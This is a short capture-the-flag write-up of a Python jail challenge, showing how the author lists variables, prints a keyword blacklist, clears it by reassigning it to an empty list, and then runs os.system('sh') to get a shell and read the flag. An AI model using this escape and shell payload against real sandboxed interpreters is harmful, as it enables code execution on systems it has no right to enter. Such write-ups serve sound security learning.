@windex told me that jails should be sourceless. So no source for you.  
Author: SteakEnthusiast  
`nc 35.226.249.45 5000`  
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We're given a pyjail without a source file.  
After a bit of exploration, I entered `print(dir())`. This returned the following:  
```py['__annotations__', '__builtins__', '__cached__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__', 'blacklist', 'cmd', 'i']```
So there's a blacklist variable. Can we print it out?  
```pyprint(blacklist)```
This returns:
```py['import', 'exec', 'eval', 'os', 'open', 'read', 'system', 'module', 'write', '.']```
Perfect. Now we know what's blacklisted.  
I wasn't sure how to proceed, so I turned to Google. By simply searching `pyjail blacklist`, I found [this](https://ctftime.org/writeup/37232). Its input didn't quite work since it included a `.`, but it gave me an idea. What if I just set blacklist to an empty list?  
```pyblacklist = []print(blacklist)```
```py[]```
It worked! Now we can just pop a shell and get the flag:  
```pyimport os; os.system('sh')```
```lscat flag```
    uoftctf{you_got_out_of_jail_free}